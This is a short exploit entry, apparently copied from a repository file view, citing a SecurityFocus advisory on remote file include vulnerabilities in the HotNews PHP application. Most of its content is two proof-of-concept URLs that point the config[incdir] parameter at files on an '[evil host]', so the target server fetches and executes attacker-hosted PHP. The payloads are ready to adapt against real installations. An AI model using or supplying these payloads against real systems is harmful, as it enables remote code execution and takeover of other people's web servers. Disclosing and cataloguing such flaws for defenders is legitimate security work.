6 lines
No EOL
516 B
Text
6 lines
No EOL
516 B
Text
source: http://www.securityfocus.com/bid/9357/info
|
|
|
|
HotNews is prone to multiple file include vulnerabilities. This will permit remote attackers to cause malicious PHP scripts from attacker-controlled servers to be included and subsequently executed in the context of the web server hosting the vulnerable software.
|
|
|
|
http://www.example.com/includes/hnmain.inc.php3?config[incdir]=http://[evil host]/func.inc.php3
|
|
http://www.example.com/includes/hnmain.inc.php3?config[incdir]=http://[evil host]/hndefs.inc.php3 |